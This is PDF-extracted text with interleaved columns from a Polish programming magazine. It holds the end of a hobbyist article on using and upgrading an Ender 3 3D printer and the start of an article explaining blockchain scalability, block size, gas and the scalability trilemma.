przenoszenia głowicy drukarki (tzw. oozing) i tak dalej. z tuzin filmów na YouTube, które bardzo dokładnie pokazują, jak wy-
W większości przypadków problemy wynikają z niewłaściwej mienić w Enderze płytę główną. Można z dużą dozą prawdopodo-
konfiguracji slicera. A konfigurować jest co – popularna Cura po- bieństwa stwierdzić, że każda naprawa czy modernizacja tej drukarki
zwala na ustawienie (literalnie) dziesiątek, jeśli nawet nie setek para- jest gdzieś w Internecie dokładnie opisana.
metrów wydruku. Przeważnie konieczne jest zlokalizowanie jednego
lub kilku z nich, które odpowiadają za drukowanie określonych ob-
CO DRUKOWAĆ?
szarów (ścianki, wypełnienie, podpory itp.), a następnie dostosowa-
nie ich do własnych potrzeb. Na szczęście Cura zawiera szablony dla Drukarka 3D pozwala na powołanie do istnienia całego mnóstwa
większości popularnych drukarek – nie wyobrażam sobie ręcznego różnych przedmiotów.
konfigurowania tego narzędzia. Moim pierwszym wydrukiem była klapka do ulubionej klawiatu-
Oprócz tego możemy też manualnie pomóc drukarce – na przy- ry, która złamała się, gdy urządzenie spadło na ziemię. Nie ma więk-
kład zmniejszając prędkość wydruku podczas kładzenia pierwszych szych szans, by znaleźć tego typu części zamienne w Internecie, więc
warstw albo też manipulując temperaturą głowicy i stołu. Zdarza zakasałem rękawy, nauczyłem się FreeCada, złapałem suwmiarkę
się też, że można zastosować tanie rozwiązanie mechaniczne, jak na w rękę i zaprojektowałem dokładną kopię brakującej klapki. Ponie-
przykład wspomniane wcześniej prowadnice do filamentu. Czasem waż nie miałem jeszcze wówczas drukarki, wydruk zleciłem wro-
konieczne jest wykonanie konserwacji – naciągnięcie pasków zęba- cławskiej firmie; dwa dni później pocztą przyszedł gotowy element,
tych, ponowne wypoziomowanie stołu czy też oczyszczenie głowicy. który pasował jak ulał.
Wreszcie w skrajnych przypadkach – jak we wspomnianym wcze- Bardzo popularną grupą drukowanych przedmiotów są narzę-
śniej – konieczne jest naprawienie uszkodzonych komponentów dzia i przedmioty użytkowe. Możemy na przykład dodrukować sobie
urządzenia. brakujący uchwyt do kamerki GoPro, dodatkowe elementy do torów
Wśród linków na końcu artykułu umieściłem kilka prowadzą- kulkowych GraviTrax, uchwyt do mocowania telefonu komórkowego
cych do stron, na których można znaleźć rozwiązania najpopular- na statywie, wieszak na słuchawki czy organizer do kart SD i pendri-
niejszych problemów z drukowaniem. ve’ów. Co ważne: w Internecie znajdują się wielkie repozytoria goto-
wych obiektów (jak na przykład popularne Thingiverse), gdzie wspo-

DIY mniane przedmioty można wyszukać i pobrać za darmo.


Oprócz tego drukarka 3D nadaje się świetnie do realizowania
Czy jednak drukowanie 3D jest naprawdę aż tak problematycznym własnych projektów. Wydrukowałem na niej między innymi obudo-
procesem? Myślę, że nie: po prawidłowym skonfigurowaniu drukar- wy do niewielkich komputerków zbudowanych na bazie Raspber-
ka powinna gładko produkować wydruk za wydrukiem. Należy mieć ry Pi, obudowę do zdalnie sterowanego robota inspekcyjnego oraz
jednak na uwadze, że drukarki 3D – a już szczególnie z półki ama- uchwyt pan-tilt do kamerki, pozwalający na obracanie jej w dwóch
torskiej – nie są urządzeniami bezobsługowymi. Od czasu do czasu osiach.
trzeba coś w nich wyregulować, wymienić lub dołączyć. Konieczne Drukarka 3D pozwala na osiągnięcie bardzo dużej precyzji wy-
jest również zapoznanie się choćby w podstawowym zakresie ze spo- druku, więc jeśli nawet zaistnieje konieczność rozmieszczenia otwo-
sobem ich funkcjonowania, aby ewentualne usterki móc naprawić rów montażowych w bardzo nietypowej konfiguracji, nie stanowi to
samodzielnie. W większości przypadków wystarczą do tego podsta- zwykle żadnego problemu. Jedynymi ograniczeniami jest tylko roz-
wowe narzędzia, jak śrubokręt czy kombinerki. miar stołu drukarki oraz pewna doza pomysłowości podczas oriento-
Oprócz napraw warto zainwestować trochę w rozbudowę dru- wania obiektów tak, aby zostały one prawidłowo wydrukowane.
karki. Gdybym kupował Endera 3 w tej chwili, bez żadnego namysłu
wyposażyłbym się od razu w:
NA KONIEC
» Alternatywną płytę główną produkowaną przez BigTreeTech.
Dzięki niej drukarka pracuje znacznie ciszej (sterownik jest Czy z perspektywy czasu kupiłbym drukarkę 3D po raz drugi? Zde-
32-bitowy i potrafi wysterować silniki krokowe z większą czę- cydowanie tak. Urządzenie to pozwoliło mi zrealizować szereg pro-

{ WWW.PROGRAMISTAMAG.PL } <73>
PLANETA IT

Rysunek 11. Zdalnie sterowany robot inspekcyjny

Rysunek 10. Małe komputerki zbudowane na bazie Raspberry Pi 3 i 4

jektów, które w innych warunkach pochłonęłyby znacznie więcej cza- z programów typu CAD i swoje zabawki będzie mogła projektować,
su lub byłyby niepraktyczne albo wręcz niemożliwe do wykonania. a potem drukować samodzielnie.
Cały dom mam też naszpikowany różnymi użytkowymi przedmio- Zakup drukarki pociąga za sobą konieczność wydania znaczącej
tami, których nie da się kupić lub które trudno byłoby sfabrykować sumy pieniędzy, ale jednocześnie niesie on bardzo wymierne korzy-
w inny sposób (najbardziej egzotycznym jest chyba blokada do prze- ści – i to niezależnie od tego, czy jesteśmy makerami i będziemy re-
łącznika prysznica, który nie chciał sam trzymać się w otwartej po- alizować własne projekty, czy też chcemy po prostu zmaterializować
zycji). Oprócz tego wydrukowałem kilka zabawek, którymi lubi ba- gotowe, dostępne w Internecie obiekty.
wić się moja mała córeczka. Być może z czasem nauczy się korzystać

W sieci
Rozwiązywanie problemów z wydrukami 3D:
» https://all3dp.com/1/common-3d-printing-problems-troubleshooting-3d-printer-issues/
» https://www.simplify3d.com/support/print-quality-troubleshooting/
Creality Ender 3 w sklepie botland.pl:
» https://botland.com.pl/drukarki-3d-creality-seria-ender/12198-drukarka-3d-creality-ender-3-6971636408758.html
Creality Ender 3 w Gearbest.com:
» https://www.gearbest.com/3d-printers--3d-printer-kits/pp_3002149216422740.html?wid=2000001#goodsDetail
Alternatywna płyta główna dla Endera 3:
» https://www.3djake.pl/bigtreetech/skr-mini-e3
Aluminiowy ekstruder do Endera 3:
» https://allegro.pl/oferta/ekstruder-aluminiowy-creality-ender-cr-10-prawy-7775880059
Szklane łoże do drukarki 3D:
» https://allegro.pl/oferta/szklo-na-stol-grzewczy-drukarek-3d-220x220-11395635823
Bodaj najbardziej popularne repozytorium obiektów do drukowania:
» https://thingiverse.com

WOJCIECH SURA
wojciechsura@gmail.com
Programuje 30 lat, z czego 15 komercyjnie; ma na koncie aplikacje desktopowe, webowe, mobilne i wbudowane – pisane w C#,
C++, Javie, Delphi, PHP, JavaScript i w jeszcze kilku innych językach. Obecnie pracuje jako architekt w firmie WSCAD, rozwijają-
cej oprogramowanie nowej generacji CAD dla elektrotechników.

<74> { 2 / 2022 < 101 > }


BLOCKCHAIN

Blockchain dla mas


O skalowaniu słów kilka

W ostatnich latach słowo „blockchain” zaczęto odmieniać przez wszystkie przypadki, nie za-
wsze w pozytywnym znaczeniu. Sprawiło to, że coraz więcej osób stało się użytkownikami
rozwiązań tego typu, co doprowadziło do powstania nowych problemów. Jednym z gorących
tematów jest to, jak sprawić, by blockchain był w stanie obsługiwać ogromne ilości transakcji,
nie tracąc przy tym swoich zalet, takich jak np. decentralizacja i bezpieczeństwo. Pojawia się
zatem pytanie, czy jest to osiągalne. Może jednak ta technologia nie jest w stanie działać na
dużą skalę?

T emat skalowalności blockchaina zostanie podzielony na dwa ar-


tykuły. W pierwszej części skupię się na ogólnej tematyce proble-
mu. Opowiem, skąd biorą się problemy oraz co sprawia, że poradze-
przejmowano się na samym początku. Jednak przychodzi taki mo-
ment, że nie da się już ich ignorować i od ich rozwiązania zależy
dalsze powodzenie przedsięwzięcia. Weźmy na tapet przykład samo-
nie sobie z nimi nie jest prostym zadaniem. W następnym numerze chodów. Każda osoba mieszkająca w większym mieście wie, z jakimi
przybliżę natomiast konkretne pomysły i metody, które mogą roz- korkami może się wiązać podróżowanie w godzinach szczytu. Jednak
wiązać obecne niedogodności. Wszystkie zagadnienia postaram się to nic w porównaniu z tym, co by się działo, gdybyśmy używali in-
wytłumaczyć w jak najprostszy sposób, dlatego szczegółowa wiedza frastruktury drogowej sprzed 100 lat. Innym świetnym przykładem
z zakresu blockchaina nie powinna być niezbędna, choć może uła- obrazującym problem skalowalności technologii była możliwość,
twić zrozumienie tego tematu. Dlatego przed lekturą tego artykułu a raczej jej brak, dodzwonienia się do kogoś w czasie ogromnego
warto zapoznać się chociażby z podstawowymi zagadnieniami oraz obciążenia sieci. Kilka lat temu można było tego doświadczyć cho-
mechaniką działania tej technologii. ciażby w noc sylwestrową, gdy połączenie się z kimkolwiek po godzi-
nie 24 graniczyło z cudem. Jednak dzięki ulepszonym rozwiązaniom

Z WIELKĄ POPULARNOŚCIĄ WIĄŻE SIĘ obecnie taki problem już nie występuje. Takich przykładów można
znaleźć setki, jeśli nie tysiące, jednak z czasem ludzie zapominają, że
WIELKI PROBLEM technologia, której dzisiaj używają, przeszła ogromne zmiany od mo-
mentu swojego powstania.
Nie inaczej jest z blockchainem. Kiedy w 2009 roku wystartował
Bitcoin, nikt nie zajmował się problemem oczekujących transakcji
oraz dużych opłat. Po pierwsze, sama technologia znana była jedynie
bardzo wąskiej grupie osób i myślę, że większość z tych ludzi nie są-
dziła, jak szybko to rozwiązanie trafi do ogromnego grona odbiorców.
Oczywiście w porównaniu do liczby użytkowników samochodów, te-
lefonii komputerowej czy też Internetu społeczność blockchainowa
jest wciąż mała, jednak adopcja samej technologii postępuje najszyb-
ciej w historii [1]. Ułatwia to fakt, że sam blockchain nie potrzebuje
do swojego działania zupełnie nowej infrastruktury. Oczywiście musi
powstać zdecentralizowana sieć, ale cała komunikacja, przechowy-
wanie danych itp. oparta jest na technologiach, które są nam znane
od lat. Dzięki temu, że Internet dotarł już do ponad 3.5 mld ludzi [2],
Rysunek 1. Korek (źródło: jochenworld.com/Living-in-traffic-jams-for-Suddeutsche) upowszechnienie takiego rozwiązania jest o wiele łatwiejsze, niż było
to w przypadku innych innowacji. Co ciekawe, pomimo ogromnego
Każda nowa technologia używana jest na początku jedynie przez wzrostu użytkowników różnego rodzaju blockchainów, dane pokazu-
małą grupę osób. I nie ma tutaj znaczenia, czy mówimy o samocho- ją, że jesteśmy dopiero we wczesnej fazie adopcji.
dach, telefonii komórkowej czy też o Internecie; sytuacja zawsze wy- Dzięki temu, że blockchain z założenia jest otwartą i publiczną
gląda podobnie. Z czasem, o ile tylko dane rozwiązanie się sprawdzi, siecią (chociaż można również stworzyć sieć z ograniczonym do-
grono odbiorców zaczyna się poszerzać, a sam sukces stworzonej in- stępem), możemy łatwo sprawdzić, jak rośnie liczba użytkowników
nowacji może przerodzić się w jej największy koszmar, który może poszczególnych rozwiązań. Jednym z serwisów, który agreguje i udo-
doprowadzić do upadku największego nawet wynalazku. Wraz ze stępnia takie dane, jest Glassnode. Część informacji wymaga płatnej
wzrostem użytkowników pojawiają się nowe problemy, którymi nie subskrypcji, jednak jeśli chodzi o sprawdzenie, jak wygląda przyrost

<76> { 2 / 2022 < 101 > }


BLOCKCHAIN

użytkowników np. dla sieci Bitcoin i Ethereum, to darmowy dostęp Pierwszą ważną cechą jest koszt wykonywanych operacji oraz
w zupełności wystarczy. przechowywania dużych ilości danych. Zapis ogromnej ilości in-
Mała dygresja. Wszystko, co możemy wyciągnąć z blockchaina formacji na blockchainie potrafi być bardzo drogi, dlatego nieko-
i przeanalizować, nazywamy analizą on-chain. Czasem można spo- niecznie wszystkie dane chcielibyśmy tam przechowywać. Dobrym
tkać się z zarzutem, że przecież dane mogą być zmanipulowane. Na przykładem są obrazki dla tokenów NFT. Oczywiście można by je
szczęście Glassnode nie jest jedynym portalem, który się tym zajmu- umieścić bezpośrednio na blockchainie, tyle że byłaby to nieopła-
je, więc zawsze można porównać otrzymane informacje. Jeśli wciąż calna operacja. Dobrym rozwiązaniem jest przechowywanie jedynie
ktoś miałby wątpliwości, to – dzięki temu, że Bitcoin i Ethereum to referencji do źródła, a sam plik powinien być umieszczony w innym
publiczne blockchainy – sam może zagregować i sprawdzić wszystkie rozproszonym systemie, jakim jest np. IPFS (Inter Planetary File
dane. Dlatego w mojej opinii możemy przyjąć prezentowane informa- System). Jeśli kogoś interesuje, jak działa takie rozwiązanie, polecam
cje jako prawdziwe, ponieważ zazwyczaj sama możliwość dokonania zapoznać się chociażby z materiałami dostępnymi na oficjalnej stro-
weryfikacji przez kogokolwiek odstrasza od potencjalnego oszustwa. nie [6]. W przypadku obrazków można podejść do tematu jeszcze
Wróćmy więc do tematu użytkowników blockchaina. Jeśli spoj- w inny sposób, np. wykorzystując grafikę wektorową lub generując
rzymy na dane z Bitcoina, to można zauważyć, że ich liczba wyraźnie je algorytmicznie, co sprawi, że IPFS nie będzie wymagany, ale jest
rośnie [4]. Pierwszy duży pik wystąpił w 2013 roku, co miało zwią- to jednak temat na osobny artykuł. Kolejnymi ważnymi aspektami
zek z bańką na rynku kryptowalut. To samo zjawisko można było związanymi ze skalowalnością są przepustowość oraz potrzebne za-
zaobserwować w 2017 i 2021 roku. Kiedy sytuacja się już uspokoiła soby sieciowe. Pierwszy z nich odnosi się do tego, jak długo będzie
i większość ludzi czyhających na szybki zysk odeszła z rynku, sama trwało zatwierdzenie transakcji oraz jak dużo danych będzie można
technologia rozwijała się dalej, czemu towarzyszyły kolejne wzrosty. umieścić w pojedynczym bloku. Drugi aspekt natomiast wskazuje,
Dokładnie tak samo sytuacja wygląda dla Ethereum [5]. Ponieważ jak dużo zasobów będzie zużywał cały proces. Znaczny wzrost tego
ten blockchain jest młodszy od Bitcoina, sumaryczna liczba użyt- parametru może prowadzić do zwiększenia czasu niezbędnego do za-
kowników wciąż jest mniejsza, jednak, ze względu na zastosowania twierdzenia transakcji, co związane jest m.in. z propagacją poszcze-
tego rozwiązania, prawdopodobnie niedługo to się zmieni. Powoduje gólnych bloków w sieci.
to, że Ethereum musi zdecydowanie bardziej skupić się na rozwiąza- Kiedy wiemy już, z czym związana jest skalowalność blockcha-
niu problemu skalowalności, który obecnie potrafi przyprawić ludzi nina, możemy zastanowić się, co dokładnie wpływa na tę cechę.
o ból glowy. Pierwszą i chyba najbardziej oczywistą kwestią będą różnego rodzaju
ograniczenia związane ze sprzętem. Bez względu na to, czy chodzi

SZYBKO, TANIO I EFEKTYWNIE o prędkość przesyłania danych, czy samo przetwarzanie transakcji,
jesteśmy ograniczeni tym, co daje nam dzisiejsza technologia. Raczej
nie jest to największy problem, ponieważ z roku na rok sam sprzęt
jest coraz lepszy, Internet coraz szybszy, a cena w stosunku do osią-
gów coraz niższa, jednak dobrze jest pamiętać również o tej sprawie.
Drugą kwestią jest wielkość pojedynczego bloku (ang. block size).
Na pierwszy rzut oka mogłoby się wydawać, że skoro mały blok jest
problemem, to wystarczy zwiększyć jego rozmiar i w ten sposób po-
zbędziemy się niedogodności. Niestety sprawa nie jest taka prosta,
ponieważ niesie to za sobą pewne konsekwencje. Jeśli zwiększymy
ilość danych do przetworzenia, a chcielibyśmy równocześnie za-
chować niezmienny czas zatwierdzenia bloku, wtedy w naszej sie-
ci musielibyśmy wyeliminować słabsze węzły, co prowadziłoby do
Rysunek 2. Lightning Network
(źródło: makeuseof.com/what-is-bitcoin-lightning-network-how-scale-bitcoin/)
zmniejszenia decentralizacji. Z drugiej strony, jeśli nie chcielibyśmy
utrzymać obecnej decentralizacji sieci, to musielibyśmy zwiększyć
odstęp między nowymi blokami. Więcej o tym zagadnieniu nieco
Mówiąc o skalowalności w kontekście blockchaina, należy zastano- później, kiedy omówiony zostanie tzw. blockchain trilemma. Inną
wić się, z czym ona się wiąże. Na pierwszą myśl może przychodzić kwestią jest to, że takie powiększanie bloku prawdopodobnie musia-
szybkość wykonywania transakcji, jednak nie jest to jedyna rzecz, łoby występować cyklicznie i byłoby to raczej doraźne łatanie proble-
którą powinniśmy brać pod uwagę. Odnosząc się ponownie do bran- mu niż usprawnienie całego procesu.
ży motoryzacyjnej, można śmiało stwierdzić, że samo zwiększenie Kolejną sprawą są opłaty transakcyjne, ponoszone przez każ-
ilości pasów na drodze nie pomogłoby w rozwiązaniu wszystkich dego użytkownika blockchaina, który chce wykonać jakąkolwiek
problemów. Jeżeli nie zostałaby do tego stworzona pozostała infra- transakcję. Ponieważ do poprawnego działania sieci potrzebujemy
struktura, taka jak np. odpowiednia liczba stacji benzynowych, to górników albo walidatorów (w zależności od algorytmu konsensu-
pojawiłoby się kolejne wąskie gardło, tyle że w innym miejscu. Po- su, na którym dany blockchain jest oparty), musi istnieć jakiś me-
dobnie jest w przypadku blockchaina. Temu zagadnieniu przyjrzymy chanizm, który zachęci ich do działania. W przypadku blockchainów
się w dalszej części artykułu, wcześniej jednak omówimy, z czym wią- opartych o Proof of Work (PoW) jest to nagroda za każdy wykopany
że się skalowalność w przypadku tej technologii. blok, ale również bonus w postaci opłat transakcyjnych, które trafiają

<78> { 2 / 2022 < 101 > }


BLOCKCHAIN

do górników. Ponieważ wielkość bloku jest ograniczona, a o kolej- sprawdźmy inne rozwiązania. Binance Smart Chain, czyli blockchain
ności przyjętych transakcji decydują górnicy, logicznym jest, że im stworzony przez największą giełdę kryptowalut Binance, w zeszłym
więcej zapłacimy, tym większa szansa, że nasze zlecenie znajdzie się roku pokazał, że jest w stanie obsłużyć ponad 220 TPS [14]. Wygląda
w najbliższym bloku. Prowadzić to może do takiej sytuacji, w któ- to dużo lepiej w porównaniu do poprzednich rozwiązań, ale wciąż
rej przesłanie kryptowaluty o wartości np. 10 $ może kosztować nas nie jest to jakiś imponujący wynik. Sprawdźmy w takim razie jesz-
100 $ i nie jest to niestety wyimaginowany scenariusz. Wystarczy cze jedno rozwiązanie, a mianowicie Solanę. Twórcy twierdzą, żę ich
prześledzić wykres przedstawiający średnie opłaty transakcyjne dla rozwiązanie jest w stanie obsłużyć 65 tys. transakcji na sekundę, co
Bitcoina [7], aby uświadomić sobie, jak zachowuje się ten parametr jest identyczną wartością jak w przypadku założeń Visy. Póki co jest
przy zbyt obciążonej sieci. Osoby, które mają na co dzień styczność to wartość teoretyczna, ponieważ obecnie Solana obsługuje nieco
z rynkiem kryptowalut, zapewne nie raz doświadczyły sytuacji, kiedy ponad 1900 TPS, co i tak jest bardzo dobrym wynikiem. Z drugiej
dokonanie jakiejś operacji na Ethereum potencjalnie kosztowałoby strony, czy porównywanie tych rozwiązań do Visy ma sens? Może
kilkaset, a nawet kilka tysięcy dolarów. Oczywiście ta wartość potra- i w przypadku Bitcoina jest to właściwe, ponieważ zarówno Visa, jak
fi się bardzo dynamicznie zmieniać, jednak pokazuje to, jak bardzo i Bitcoin służą do operacji finansowych. Natomiast blockchainy, któ-
może ona wpłynąć na dalszą adopcję tej technologii. Aby jeszcze le- re obsługują również smart contracty, mają zdecydowanie więcej do
piej zobrazować, jak poszczególne sieci potrafią być obciążone, warto zrobienia, a zatem muszą być znacznie szybsze.
prześledzić wykres oczekujących transakcji. Dla Bitcoina będzie to Wspomniany wcześniej pending transactions zależy w dużej mie-
tzw. mempool [8], a dla Ethereum parametr zwany pending trans- rze od wielkości bloku oraz czasu jego przetworzenia. Zobaczmy, jak
actions [9]. Zachęcam do obejrzenia ciekawej animacji na stronie to wygląda w przypadku poszczególnych blockchainów. Bitcoin do-
TxStreet [10], która w czasie rzeczywistym przedstawia ruch na Bit- starcza każdy nowy blok średnio co 10 min., jego wielkość to 1 MB,
coinie, Ethereum i kilku innych blockchainach. a przeciętna pojedyncza transakcja zajmuje 250 bajtów. Sprawę po-
prawia nieco wprowadzone rozwiązanie zwane SegWit. W uprosz-

SZYBCY I WŚCIEKLI czeniu można powiedzieć, że wielkość bloku jest w stanie wynieść
nawet 4 MB, jednak temat jest nieco bardziej skomplikowany, dlatego
nie będę się tu w niego zagłębiał.
Jak w takim razie na tym tle wypada Ethereum? Teoretycznie moż-
na stwierdzić, że obecnie wielkość jednego bloku to około 80 KB [16],
a czas jego dołączenia waha się między 12 a 14 sekund. Jednak
w przypadku tego blockchaina musimy użyć całkowicie innej mia-
ry, a mianowicie ilości tzw. gazu (ang. gas). Zanim przejdę do kon-
kretnych wartości, warto powiedzieć, co to takiego i dlaczego w tym
przypadku nie powinno się mówić o wielkości bloku w kontekście
megabajtów. Ponieważ Ethereum pozwala na tworzenie inteligent-
nych kontraktów, operacje, jakie można wykonać na tym blockcha-
inie, to nie tylko prosty przesył wartości. W zależności od tego, jak
dana procedura będzie skomplikowana, inna ilość gazu będzie po-
trzebna do jej wykonania. Oczywiście istnieją sposoby optymalizacji
kontraktów, aby zużywały mniej tego zasobu, jednak jest to temat na
osobny artykuł, dlatego nie będę go tutaj poruszał.
Rysunek 3. Prędkość transakcji Żeby lepiej zrozumieć, czym jest gaz, możemy porównać go do
(źródło: medium.com/@wp.raysnetwork/rays-transaction-speed-6f6d03eb520f) paliwa napędzającego nasze samochody. Do przejechania 20 km au-
tostradą będziemy potrzebowali inne ilości paliwa, niż do pokona-
Mając już pogląd, jakie cechy definiują skalowalność i co na nie nia tej samej odległości, ale przez zakorkowane miasto. Co więcej,
wpływa, warto spojrzeć, jak zachowują się istniejące blockchainy. wartość prawdopodobnie będzie się różnić dla różnych pojazdów.
Jednym z parametrów, który warto prześledzić, jest liczba transak- Podobnie sprawa ma się w przypadku kontraktów. Dokonując wy-
cji na sekundę (TPS, Transaction Per Second). Ale żeby mieć jakiś miany kryptowaluty przy pomocy giełdy Uniswap, ilość gazu zużyta
punkt odniesienia, spójrzmy najpierw, jak wygląda to w przypadku do transakcji może być inna niż w przypadku SushiSwap, ponieważ
innej technologii. Visa obsługuje około 1700 TPS [11], chociaż firma wszystko zależy od tego, co znajduje się w kodzie. Koszt poszczegól-
twierdzi, że ich sieć byłaby w stanie poradzić sobie nawet z 65 tys. nych operacji można znaleźć w tzw. yellow paper [17].
operacji na sekundę [12]. Jak na tym tle prezentuje się najbardziej Zatem ile gazu jest w stanie pomieścić pojedynczy blok Ethe-
znany blockchain? Przyjmuje się, że Bitcoin obsługuje około 7 trans- reum? Przyjmuje się, że docelową wartością jest 15 mln jednostek.
akcji na sekundę [13]. W porównaniu do wcześniej przedstawionych W zależności od obciążenia sieci ilość gazu w bloku może zarówno
wartości ta liczba wydaje się, łagodnie mówiąc, śmieszna. W przy- rosnąć, jak i maleć, a obecnie maksymalnie może wynosić 30 mln
padku Ethereum nie jest dużo lepiej, ponieważ sieć ta przetwarza jednostek. Teoretycznie więc mogłoby się okazać, że w bloku znaj-
około 15 transakcji na sekundę. Jak widać, dwa najbardziej znane dzie się tylko jedna transakcja, która zużyje cały limit gazu, jednak
blockchainy nie najlepiej wypadają w tym przypadku. W takim razie w praktyce takie rzeczy nie mają miejsca. W przypadku Binance

<80> { 2 / 2022 < 101 > }


/ Blockchain dla mas /

Smart Chain wielkość bloku jest większa i wynosi 100 mln jednostek pewni, że żadna transakcja nie jest zmanipulowana, a nasze środki
gazu, natomiast każdy blok pojawia się średnio co 3 sekundy. Jak wi- są bezpieczne.
dać, różne blockchainy mogą mieć całkowicie inne parametry, ale czy Dlaczego w takim razie osiągnięcie tych trzech cech równocze-
to oznacza, że powinniśmy porzucić Ethereum, ponieważ inne roz- śnie jest bardzo trudne? Posłużę się przykładem, jakim jest tzw. atak
wiązania są lepsze? Niekoniecznie. 51%. W skrócie polega on na przejęciu przynajmniej 51% całej sieci,
co dałoby możliwość manipulowania danymi. Raczej nie chcieliby-

WYBIERZ MĄDRZE śmy dopuścić do takiej sytuacji, dlatego dobrym rozwiązaniem by-
łoby uczynienie naszej sieci jak najbardziej zdecentralizowaną. Ła-
twiej byłoby przecież przekonać 5 z 10 węzłów do oszustwa, niż 5000
z 10000. Niestety dołączenie większej ilości węzłów do takiej sieci
spowoduje również jej spowolnienie, ponieważ każda informacja
będzie musiała być wymieniana przez większą liczbę użytkowników.
Jak można zauważyć, łatwo jest połączyć ze sobą bezpieczeństwo
i decentralizację. Z drugiej strony możemy stworzyć szybką i bez-
pieczną sieć, jednak odbędzie się to kosztem decentralizacji. Oczywi-
ście wciąż jest to lepszy model niż całkowite scentralizowanie syste-
mu, jednak trzeba być również świadomym ryzyk, jakie niosą za sobą
Rysunek 4. Blockchain trilemma (źródło: ledger.com/academy/what-is-the-blockchain-trilemma) tak funkcjonujące blockchainy.
Wróćmy raz jeszcze do pytania związanego z sensownością użyt-
Podczas pracy nad projektami można bardzo często natknąć się na kowania Ethereum. Jak widać, to, że inne blockchainy są szybsze, nie
tzw. trylematy. Chyba najbardziej znaną sytuacją jest ta, w której znaczy wcale, że są w każdym aspekcie lepsze. Wspomniany Binance
klient chciałby, aby projekt dla niego został wykonany szybko, dobrze Smart Chain oczywiście oferuje większą liczbę transakcji na sekundę,
i tanio. Ale jak to bywa w przypadku trylematów, zazwyczaj nie da jednak robi to wszystko kosztem decentralizacji. Ethereum ma obec-
się osiągnąć wszystkich tych trzech cech. Dlatego w takim przypadku nie ponad 5 tys. aktywnych węzłów, a w szczytowym momencie było
jeśli coś ma być zrobione np. tanio i szybko, to z wielkim prawdo- ich nawet ponad 12 tys. Co więcej, przechodząc na Ethereum 2.0,
podobieństwem ucierpi na tym jakość całego przedsięwzięcia. Na- które, jeśli wszystko pójdzie dobrze, usprawni bardzo wiele w kwestii
tomiast jeśli ten sam projekt miałby być wykonany szybko i dobrze, skalowalności, liczba walidatorów będzie znacznie większa. Już w tej
to zapewne w takim przypadku koszty nie będą małe. chwili jest ich niemal 300 tys. [19]. Dla porównania, BSC ma zale-
Podobna sytuacja występuje w odniesieniu do blockchaina, tyle dwie 21 walidatorów [20]. Dzięki temu sieć działa bardzo szybko,
że ten trylemat dotyczy innych cech, a mianowicie decentralizacji, jednak potencjalnie może być narażona na manipulacje. Na szczęście
bezpieczeństwa oraz skalowalności. Żeby lepiej zrozumieć, dlaczego rozwiązanie problemu trylematu jest możliwe, ale wymaga nieco in-
osiągnięcie tych trzech celów równocześnie jest bardzo trudne, wyja- nego spojrzenia na blockchain.
śnijmy na początku, z czym związane są dwa pierwsze pojęcia, O sa-
mej skalowalności zostało już wiele powiedziane, dlatego pominiemy
BLOCKCHAIN JEST JAK CEBULA
ponowną analizę tego zagadnienia.
Kiedy wspominamy o decentralizacji, mamy na myśli system,
który nie zależy od jakiejkolwiek jednostki centralnej. Innymi słowy
nie istnieje żadna instytucja, osoba czy inny podmiot, które byłyby
w stanie swoimi decyzjami kontrolować to, co się dzieje. W takim
systemie wszyscy uczestniczy działaliby na równych prawach, bez
podziału na równych i równiejszych. Przykładem blockchainów, któ-
re są bardzo mocno zdecentralizowane, mogą być np. Bitcoin i Ethe-
reum. Można tutaj oczywiście dyskutować na temat centralizacji du-
żych kopalni, szczególnie w przypadku tego pierwszego blockchaina,
jednak cała sieć i zasady jej działania sprawiają, że nie jest to obecnie
problem.
Bezpieczeństwo to zdolność systemu do prawidłowego działania,
Rysunek 5. Shrek (źródło: theodysseyonline.com/am-an-onion)
ale również obrona przed atakami, błędami oraz innymi nieprzewi-
dzianymi sytuacjami. W blockchainie dodatkowym utrudnieniem
w stosunku do tradycyjnych rozwiązań jest fakt, że większość sieci Prawdopodobnie każdy, a przynajmniej większość, kojarzy pierw-
jest publicznie dostępnych, co zdecydowanie ułatwia znalezienie szą część Shreka i scenę, w której tytułowy bohater tłumaczy osłowi,
potencjalnych dziur. Jedną z ważniejszych kwestii w przypadku bez- co wspólnego mają ogry i warzywo, które potrafi wyciskać łzy. Mo-
pieczeństwa jest to, jaki algorytm konsensusu został wykorzystany. glibyśmy sparafrazować ten dialog i powiedzieć, że blockchain jest
Dzięki temu, że Bitcoin oparty jest o PoW, a cała sieć jest zabezpie- jak cebula. I nie, nie mam tu na myśli tego, że rozwiązania tworzone
czona ogromną ilością mocy obliczeniowej, możemy być niemal przy jego pomocy „śmierdzą”, chociaż faktycznie w okresach wielkie-

{ WWW.PROGRAMISTAMAG.PL } <81>
BLOCKCHAIN

go zainteresowania krypto rośnie liczba oszustw, ale nie jest to wina dotyczy rzeczy, które mają związek z samym blockchainem. Nato-
technologii, a raczej kwestia związana z ludzką chciwością. Chodzi miast off-chain nie świadczy o tym, że nic nie dzieje się na blockcha-
o to, że blockchain można potraktować warstwowo. Ja skupię się na inie, ale mówi o tym, że większośc operacji wykonuje się poza głów-
dwóch warstwach, mianowicie na tzw. Warstwie 1 (ang. Layer 1, L1) nym łańcuchem, czyli na poziomie L2, natomiast na L1 wrzucane są
oraz Warstwie 2 (ang. Layer 2, L2), ponieważ jeśli chodzi o skalowal- np. tylko potwierdzenia ich wykonania.
ność, to obecnie rozwiązania koncentrują się właśnie wokół nich.
L1, najprościej mówiąc, to po prostu blockchain, który służy jako
PODSUMOWANIE
infrastruktura dla innych protokołów, aplikacji i sieci, które mogą być
zbudowane z jej wykorzystaniem. Główną charakterystyką działania Wyskalowanie blockchaina to obecnie jedno z najważniejszych wy-
takiego rozwiązania jest algorytm konsensusu, który został wyko- zwań, którym trzeba podołać. Bez rozwiązania tego problemu block-
rzystany. Typowymi przykładami Layer 1 są np. Bitcoin i Ethereum. chain nie będzie w stanie sprostać rosnącej liczbie użytkowników, co
Każda sieć L1 charakteryzuje się również tym, że ma swój natywny mogłoby być gwoździem do trumny dla tej technologii. Na szczęście
token, w którym pokrywane są chociażby wszystkie opłaty transak- istnieje już przynajmniej kilka ciekawych pomysłów, które mogą po-
cyjne. Mianem L2 nazywane są natomiast rozwiązania zbudowane móc poradzić sobie z tą niedogodnością. Co więcej, większość z nich
w oparciu o L1. Oznacza to, że rezultatem może być np. osobna sieć, działa już na mniejszą bądź większą skalę, a efekty, jakie są osiągane
która będzie w jakiś sposób połączona z „głównym” blockchainem. przy ich pomocy, pozwalają stwierdzić, że wszystko idzie w jak naj-
